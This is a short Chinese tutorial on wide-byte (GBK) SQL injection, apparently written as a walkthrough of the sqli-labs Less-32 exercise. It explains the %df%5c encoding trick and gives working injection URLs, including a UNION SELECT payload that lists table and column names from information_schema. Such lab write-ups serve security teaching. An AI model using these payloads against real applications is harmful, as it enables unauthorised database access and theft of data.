一.宽字节注入
宽字节注入原理:
GBK 占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是说:%df\’ = %df%5c%27’,有了单引号就好注入了。
宽字节注入实例:
(1).题目 http://117.167.136.242:8002/Less-32/
(2).?id=1
看到编码变化了
所以是宽字节注入
http://117.167.136.242:8002/Less-32/?id=1
(3).所以我们要用%df来代替一个字节
http://117.167.136.242:8002/Less-32/?id=1%df
页面正确
(4).加个单引号页面报错
http://117.167.136.242:8002/Less-32/?id=1%df’
页面报错
存在注入
(5).给出一个payload
http://117.167.136.242:8002/Less-32/?id=-1%df%27union%20select%201,2,3--+
(6).查表名,以及表中的字段。
http://117.167.136.242:8002/Less-32/?id=-1%df%27%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database())%20--+